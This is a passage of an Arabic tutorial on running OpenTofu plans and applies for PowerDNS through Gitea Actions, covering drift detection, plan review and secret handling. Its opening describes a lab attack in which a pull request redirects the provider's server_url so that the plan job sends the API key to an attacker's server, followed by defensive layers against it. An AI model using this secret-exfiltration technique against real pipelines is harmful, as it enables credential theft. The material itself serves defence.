طلب دمج يغير server_url في كتلة provider إلى wr-iac-collector، فتشغل مهمة plan المزود بالمفتاح من الأسرار، فيرسل المزود الطلب GET /api/v1/servers مع X-API-Key إلى سيرفر المخترق، ثم تفشل الخطة بالخطأ 404، والمراجع يرى فشلاً فقط، والسجل لا يحتوي السر لأن السر خرج في طلب شبكة، وتحته أربع حمايات: من يستطيع فتح طلب في مستودع البنية، ومفاتيح قراءة فقط للخطة، وشبكة خروج محدودة للRunner، ومراجعة ملفات provider وworkflow
الخطة تنفذ كود طلب الدمج بأسرار الخط، والمفتاح خرج قبل أي موافقة

فماذا تفعل؟ لا يوجد حل واحد كامل، وإنما طبقات، وهذا ترتيبها بحسب أهميتها:

  1. من يستطيع أن يفتح طلب دمج في مستودع البنية يستطيع أن يقرأ أسرار الخطة، فعامل صلاحية الكتابة على هذا المستودع كأنها صلاحية على المفتاح نفسه، ولا تعطها إلا لمن تعطيه المفتاح. وطلبات الدمج من Fork لشخص من خارج الفريق يطلب Gitea موافقة قبل تشغيلها، كما شرحنا في مقال Gitea Actions، فلا توافق عليها قبل أن تقرأ كل سطر في provider وdata وملفات الخط.
  2. اجعل مفتاح الخطة غير مفتاح التطبيق، فأغلب المزودات السحابية تعطيك مفتاحاً بصلاحية قراءة فقط، وهذا المفتاح يكفي للخطة، أما مفتاح الكتابة فيبقى في سر لا تقرؤه إلا مهمة التطبيق في الفرع الرئيسي المحمي. وPowerDNS لا يعطيك مفاتيح بصلاحيات مختلفة، فإذا كان مزودك كذلك فاعرف أن الخطة في طلب الدمج تعرض المفتاح الكامل.
  3. حدد الشبكة التي يخرج إليها الRunner، فالRunner الذي يدير DNS يحتاج إلى الوصول إلى واجهة DNS وقاعدة الحالة وسجل المزودات وسيرفر Git فقط، وأي اتصال إلى عنوان آخر يجب أن يرفضه جدار الحماية Firewall، فلو كان هذا مطبقاً في مختبرنا لفشل الاتصال بسيرفر المخترق.
  4. تغييرات ملفات الخط وكتل provider وأي مصدر بيانات جديد تستحق مراجعة من شخص محدد، وتستطيع أن تجعل الخط يفشل إذا تغيرت هذه الملفات في طلب دمج دون علامة من مسؤول.

وإذا وصل مفتاح إلى مكان لا يجب أن يصل إليه، فالتصرف هو نفسه الذي شرحناه في اكتشاف الأسرار المسربة: غير المفتاح فوراً قبل أي شيء آخر، ثم ابحث في سجلات المزود عما فعله المفتاح.

كشف الانحراف كل ساعة: Scheduled Drift Check

الخط الآن يطبق كل ما يدمج، ولكن لا يمنع أحداً من أن يعدل سجلاً بيده في واجهة PowerDNS، وهذا هو الانحراف Drift الذي رأيناه في المقالات السابقة. لذلك أضفنا ملفاً ثانياً للخط يعمل كل ساعة، ويمكن تشغيله يدوياً:

name: drift
on:
  schedule:
    - cron: "17 * * * *"   # every hour: compare prod with the code
  workflow_dispatch:

env:
  TF_IN_AUTOMATION: "1"
  TF_INPUT: "0"
  PG_CONN_STR: ${{ secrets.PG_CONN_STR }}
  TF_VAR_pdns_api_key: ${{ secrets.PDNS_API_KEY }}
  TF_VAR_state_passphrase: ${{ secrets.STATE_PASSPHRASE }}

jobs:
  drift:
    runs-on: tofu
    concurrency:
      group: tofu-apply-prod   # never read prod while an apply runs
      cancel-in-progress: false
    defaults:
      run:
        working-directory: dns
    steps:
      - uses: actions/checkout@v4
      - run: tofu init -lockfile=readonly
      - name: refresh-only plan
        run: |
          set +e
          tofu plan -no-color -refresh-only -detailed-exitcode -lock-timeout=120s
          code=$?
          set -e
          if [ "$code" = 2 ]; then echo "::error::prod differs from the code (drift)"; exit 2; fi
          exit $code

ثم غيرنا سجل api بطلب مباشر إلى واجهة PowerDNS، كما يفعل زميل يصلح شيئاً بسرعة، فجعلنا عنوانه 198.51.100.7 بدلاً من 192.0.2.11، وشغلنا الخط يدوياً:

Note: Objects have changed outside of OpenTofu

OpenTofu detected the following changes made outside of OpenTofu since the
last "tofu apply" which may have affected this plan:

  # powerdns_record.a["api"] has changed
  ~ resource "powerdns_record" "a" {
        id      = "api.example.test.:::A"
        name    = "api.example.test."
      ~ records = [
          - "192.0.2.11",
          + "198.51.100.7",
        ]
        # (3 unchanged attributes hidden)
    }

This is a refresh-only plan, so OpenTofu will not take any actions to undo
these.
::error::prod differs from the code (drift)

في المخرج أعلاه لاحظ أن الخطة من نوع -refresh-only تعرض ما تغير خارج الأداة ولا تقترح إصلاحه، وأن السطر الأخير يجعل المهمة تفشل، فيظهر في صفحة الخط بلون أحمر ويصل تنبيه لمن يتابع المستودع، كما شرحنا في التنبيهات Alerting. ولم نجعل المهمة تصلح الانحراف وحدها، والسبب أن التعديل اليدوي قد يكون إصلاحاً طارئاً صحيحاً، فإذا أعاده الخط إلى الكود أعاد المشكلة، والقرار الصحيح أن يكتب من عدل التغيير في طلب دمج، أو أن يطبق الخط الكود عن قصد. وبعد دقائق شغل الجدول المهمة نفسها وحده في الدقيقة 17، فظهر في قائمة التشغيلات مرة ثانية بالفشل نفسه، لأن الانحراف ما زال موجوداً:

صفحة Actions في مستودع ops/infra-dns فيها 15 تشغيلاً: أعلاها drift رقم 15 بالحدث Scheduled وفاشل، ثم drift رقم 14 الذي شغلناه يدوياً وفاشل، ثم تشغيلات tofu لطلبات الدمج والدمج في الفرع الرئيسي بنجاح، ومنها tofu رقم 7 لطلب add docs بعلامة الإلغاء، وtofu رقم 5 لطلب tidy provider block فاشل
كل تشغيل له سجل يقول من شغله ومتى ولماذا، ومنها الخطة الملغاة وطلب سرقة المفتاح والانحراف

وفشل مهمة مجدولة لا يراه أحد إذا كان التنبيه يصل إلى صندوق بريد لا يقرؤه أحد، لذلك اربط فشل مهمة الانحراف بالقناة نفسها التي تصل إليها تنبيهات الإنتاج، واكتب في وصف التنبيه ماذا يفعل من يستلمه: يفتح التشغيل، ويقرأ الفرق، ويسأل الفريق من عدل السجل ولماذا. ولاحظ أن مهمة الانحراف في مجموعة التزامن نفسها مع التطبيق، حتى لا تقرأ الإنتاج في منتصف تطبيق فتظن تغييراً نصف مطبق انحرافاً.

ماذا يقرأ المراجع في الخطة؟ Plan Review

وضع الخطة في طلب الدمج لا يفيد إلا إذا عرف المراجع ماذا يبحث عنه، فالخطة في مشروع حقيقي قد تكون مئات الأسطر، وأغلبها قيم لم تتغير. والترتيب الذي نستخدمه، وهو ما فعله المراجع في طلب shop، كما يلي:

  1. السطر الأخير Plan: X to add, Y to change, Z to destroy أولاً، ثم سؤال واحد: هل الأرقام تطابق ما يقوله عنوان الطلب؟ فطلب عنوانه «إضافة سجل» يجب أن يكون فيه 1 to add وصفر في الباقي، وأي رقم آخر يحتاج تفسيراً في الطلب نفسه.
  2. كل سطر فيه must be replaced أو will be destroyed، ومعه العبارة forces replacement التي تقول لك أي خاصية سببت الاستبدال. وهنا تسأل: ما الذي يوجد على هذا المورد ولا يوجد في الكود؟ بيانات على قرص؟ عنوان IP يعرفه عملاء؟ سجل يختفي ثوان؟
  3. القيم التي تظهر (known after apply) في أماكن لم تكن تتوقعها، فهي غالباً تعني أن مورداً سوف يستبدل وأن كل ما يعتمد عليه سوف يتغير معه.
  4. أي تغيير في كتل provider أو في ملفات الخط أو في ملف القفل، حتى لو لم يظهر في الخطة شيء، لأن هذه هي الأماكن التي رأيت فيها سرقة المفتاح، وتغيير إصدار مزود قد يغير سلوك كل الخطط التالية.
  5. الخطة نفسها لا تعرض القيم الحساسة، وإنما (sensitive value)، فإذا رأيت قيمة سر بنص واضح في التعليق فهذا يعني أن متغيراً لم يعلم sensitive، فاطلب إصلاحه قبل الدمج، لأن التعليق يبقى في الطلب ويراه كل من يقرأ المستودع.

ومع الوقت يتعلم الفريق أن الطلبات الصغيرة أسهل في المراجعة من الكبيرة، فطلب يغير سجلاً واحداً خطته خمسة أسطر يقرؤها المراجع في دقيقة، أما طلب يغير عشرين شيئاً فخطته مئات الأسطر، ويوافق عليه المراجع غالباً دون أن يقرأها كلها، وهذا يشبه تماماً ما شرحناه في مراجعة الكود Code Review.

أكثر من بيئة في الخط: Staging ثم Prod

المختبر فيه بيئة واحدة، أما في مشروع مثل الذي بنيناه في مقال الوحدات ففيه مجلد لكل بيئة. والطريقة البسيطة أن تكرر المهمتين لكل مجلد، والطريقة الأنظف أن تجعل المهمة تعمل على قائمة من المجلدات بالكلمة matrix، فتظهر في طلب الدمج خطة لكل بيئة تأثرت بالتغيير. ولكن هناك ثلاثة أشياء يجب أن تبقى منفصلة بين البيئات حتى لو كان الملف واحداً:

  • الأسرار: مفتاح الاختبار غير مفتاح الإنتاج، وعبارة تشفير حالة الاختبار غير عبارة الإنتاج، فإذا تسرب مفتاح الاختبار من خطة كما رأيت، فلا يصل المخترق إلى الإنتاج.
  • مجموعة التزامن: تطبيق الاختبار لا ينتظر تطبيق الإنتاج، فلكل بيئة مجموعة مثل tofu-apply-staging وtofu-apply-prod.
  • ترتيب التطبيق: إذا غير طلب واحد وحدة تستخدمها البيئتان، فالأفضل أن يطبق الاختبار أولاً، وأن ينتظر تطبيق الإنتاج نجاحه، بالكلمة needs بين المهمتين، حتى لا يصل تغيير إلى الإنتاج لم ينجح في الاختبار.

والسؤال الذي يأتي بعد ذلك: هل يحتاج تطبيق الإنتاج إلى موافقة ثانية بعد الدمج، كأن يضغط شخص زراً قبل أن يبدأ؟ في GitHub وGitLab توجد لهذا بيئات Environments بموافقات، أما في Gitea فالطريقة المعتادة أن يكون تطبيق الإنتاج في ملف خط منفصل يعمل بالحدث workflow_dispatch فقط، أي يدوياً من شخص له صلاحية، أو أن يدمج الإنتاج من فرع منفصل محمي بموافقتين. واختر ما يناسب عدد التغييرات عندكم، فالموافقة الثانية التي يضغطها الجميع دون أن يقرؤوا لا تحمي شيئاً.

من أين يأتي مفتاح المزود؟ Long-lived Secrets

في المختبر كل الأسرار ثابتة، أي أن مفتاح PowerDNS يبقى صالحاً حتى يغيره أحد، وهذا هو الحال مع أغلب المزودات المستضافة ذاتياً. وعند المزودات السحابية الكبيرة توجد طريقة أفضل، وهي أن يثبت الخط هويته للمزود بتوكن قصير العمر يصدره الخط نفسه لكل مهمة بمعيار OIDC، فيعطيه المزود مفتاحاً مؤقتاً لدقائق، ولا يوجد في أسرار المستودع أي مفتاح دائم يمكن أن يسرق. ولكن انتبه إلى أن وثائق صلاحيات التوكن في Gitea تقول إن الصلاحية id-token التي تحتاجها هذه الطريقة غير مدعومة حالياً في Gitea Actions، فإذا كنت على Gitea فالأسرار الثابتة هي الطريقة المتاحة، وعليك أن تعوض ذلك بما ذكرناه: مفتاح لكل بيئة، ومفتاح قراءة للخطة إن أمكن، وتغيير دوري للمفاتيح، وشبكة خروج محدودة للRunner. وإذا كانت عبارة تشفير الحالة سراً في الخط، فتذكر ما قلناه في مقال الحالة: احفظ نسخة منها خارج Gitea، لأن ضياع سيرفر Gitea بأسراره يعني أنك لا تستطيع أن تقرأ الحالة حتى لو كانت نسخ قاعدة البيانات سليمة.

وإذا كنت تستخدم Woodpecker أو غيره؟ Other CI

كل ما في هذا المقال مبني على Gitea Actions لأنه الخط الذي شرحناه في المرحلة، ولكن الأفكار نفسها تنتقل إلى أي خط آخر مثل Woodpecker CI الذي يعمل مع Gitea أيضاً، أو GitLab CI: خطة في كل طلب دمج تكتب في الطلب، وتطبيق من الفرع الرئيسي المحمي فقط، ومجموعتا تزامن منفصلتان أو ما يقابلهما، وخطة جديدة عند التطبيق، وفحص انحراف مجدول، ومفاتيح الخطة غير مفاتيح التطبيق. والفرق بين الأدوات في الأسماء فقط، وفي طريقة كتابة التعليق في الطلب، وفي كيف تفصل الأسرار بين أحداث طلب الدمج وأحداث الفرع الرئيسي، فاقرأ هذا الجزء الأخير في وثائق أداتك بعناية، لأنه بالضبط ما استغله طلب سرقة المفتاح.

أخطاء شائعة Common Mistakes

  • اعتبار plan آمناً: الخطة تشغل المزودات بأسرار الخط، ورأيت المفتاح يخرج من خطة فاشلة.
  • مجموعة تزامن واحدة للخطط والتطبيقات: المنتظر يلغى عندما يأتي تشغيل جديد، فتلغى خطط طلبات الدمج وقد يلغى تطبيق منتظر.
  • تطبيق ملف خطة طلب الدمج بعد الدمج: يرفض بـ Saved plan is stale كلما دمج شيء قبله.
  • حفظ ملف الخطة كملف ناتج Artifact: فيه قيم المتغيرات، والنص المقروء يكفي المراجع.
  • فرع رئيسي غير محمي: المطور يدمج طلبه بنفسه، والخطة في التعليق لا يقرؤها أحد.
  • Image مهام بلا Node أو بلا Git: actions/checkout يحتاج Node، والوحدات من git:: تحتاج Git.
  • عدم استخدام -lockfile=readonly: الخط يختار إصدار مزود جديداً لم يره أحد.
  • إصلاح الانحراف تلقائياً: قد تعيد مشكلة أصلحها أحد يدوياً في حالة طارئة.
  • مفتاح واحد بكل الصلاحيات للخطة والتطبيق: كل من يفتح طلب دمج يملكه.
  • Runner يخرج إلى أي عنوان في الإنترنت: جدار الحماية كان سيوقف سرقة المفتاح في مختبرنا.

قائمة التحقق Checklist

قبل أن تعتبر الخط جاهزاًكيف تتحقق
لا يوجد مفتاح للمزود أو للحالة على أجهزة المطورينالأسرار في إعدادات المستودع فقط، والتطبيق من الخط وحده
الخطة في كل طلب دمجتعليق فيه الخطة كاملة، وسطر Plan: في عنوانه
الفرع الرئيسي محميدمج دون موافقة يرفض بـ Does not have enough approvals
نجاح الخطة شرط للدمجtofu / plan (pull_request) في الفحوص المطلوبة
مجموعات التزامن منفصلةخطة لكل طلب مع إلغاء القديم، وتطبيقات بلا إلغاء
التطبيق يحسب خطة جديدةمهمة التطبيق فيها plan -out ثم apply للملف نفسه
ملف الخطة لا يبقىيحذف في الخطوة نفسها، ولا يرفع كملف ناتج
مفاتيح الخطة للقراءة فقط إن أمكنسر مختلف لمهمة الخطة عن مهمة التطبيق
الRunner لا يخرج إلا إلى ما يحتاجهجدار حماية بقائمة عناوين مسموحة
الانحراف يكشفمهمة مجدولة -refresh-only -detailed-exitcode تفشل عند 2 وترسل تنبيهاً

الخلاصة Summary

وصلنا لنهاية الموضوع، وأهم ما فيه:

  • الخط يجمع مسار الكود ومسار التطبيق في مسار واحد: الخطة في طلب الدمج يقرؤها المراجع، والتطبيق بعد الدمج من الخط، والمفاتيح عنده وحده.
  • Image المهام تحتاج Node لخطوات JavaScript مثل actions/checkout، وGit للوحدات، والملف التنفيذي للأداة بإصدار ثابت.
  • الخطة كشفت للمراجع أن «إضافة سجل» فيها استبدال لسجل web، فدمج في وقت مناسب، وحماية الفرع منعت المطور من دمج طلبه بنفسه.
  • في كل مجموعة تزامن منتظر واحد فقط، فمجموعة واحدة للخطط والتطبيقات ألغت خطة طلب ومنعت دمجه، والحل مجموعة لكل طلب ومجموعة للتطبيقات.
  • الخطة المحفوظة ترفض بعد أي تغيير في الحالة Saved plan is stale، لذلك يحسب التطبيق خطة جديدة من الفرع الرئيسي.
  • الخطة تنفذ كود طلب الدمج بأسرار الخط، وطلب غير سطراً في provider أخرج المفتاح إلى سيرفر آخر من خطة فاشلة، والحماية في من يفتح الطلبات، ومفاتيح القراءة فقط، والشبكة المحدودة، والمراجعة.
  • فحص الانحراف كل ساعة يفشل وينبه عند أي تعديل يدوي، ولا يصلحه وحده.

وفي المقال التالي في المرحلة بإذن الله ننتقل من إنشاء السيرفرات إلى ما بداخلها، فنبني Images جاهزة للسيرفرات مع Packer. والمقالات المرتبطة بهذا المقال:

دليلوحدات OpenTofu Modules: تنظيم المشروع لكل بيئةكيف تكتب شكل الخدمة مرة واحدة وتستدعيه من كل بيئة، وتنقل الموارد الموجودة إلى الوحدة دون أن تحذفها، وتصدر نسخها وتختبرها قبل أن تصل إلى الإنتاج.دليلملف الحالة State في OpenTofu: الحفظ والقفل والحمايةأين تحفظ حالة OpenTofu حتى يراها كل الفريق، وكيف تتأكد أن القفل يعمل فعلاً، وكيف تشفرها لأنها تحمل كلمات المرور بنص واضح.دليلGitea Actions: تشغيل CI/CD وبناء Docker Images على سيرفركاجعل سيرفرك يختبر الكود ويبني Docker Images تلقائياً مع كل push، دون أن يخرج كودك أو أسرارك إلى خدمة CI خارجية.دليلخط CI/CD آمن من البداية للنهاية على Gitea Actionsكيف تجمع فحوص الأمن في خط واحد لا يستطيع طلب الدمج تجاوزه، ثم ترسل إلى الإنتاج نفس ال Docker Image الموقعة التي فحصتها.

سجل التحديثات Changelog

  • نوفمبر 2026: كتابة المقال وتنفيذ المختبر بـ Gitea 1.27.3 مع Gitea Runner 4.1.0، وImage مهام من node:22-alpine فيها OpenTofu 1.13.2 وGit 2.54.0، ومزود pan-net/powerdns 1.5.0 على PowerDNS Authoritative 5.1.5، وحالة مشفرة بخلفية pg على PostgreSQL 18، على Docker Engine 29.8.0.
نشرة عرب رووت | ArabRoot

معرفة تستحق مكاناً في بريدك.

مقالات مختارة وأدوات مفيدة وأفكار لمشروعك القادم، في رسالة واحدة كل أسبوع.

يمكنك إلغاء الاشتراك متى شئت. الخصوصية

تم استلام طلبك. افتح بريدك واضغط رابط التأكيد لإتمام الاشتراك.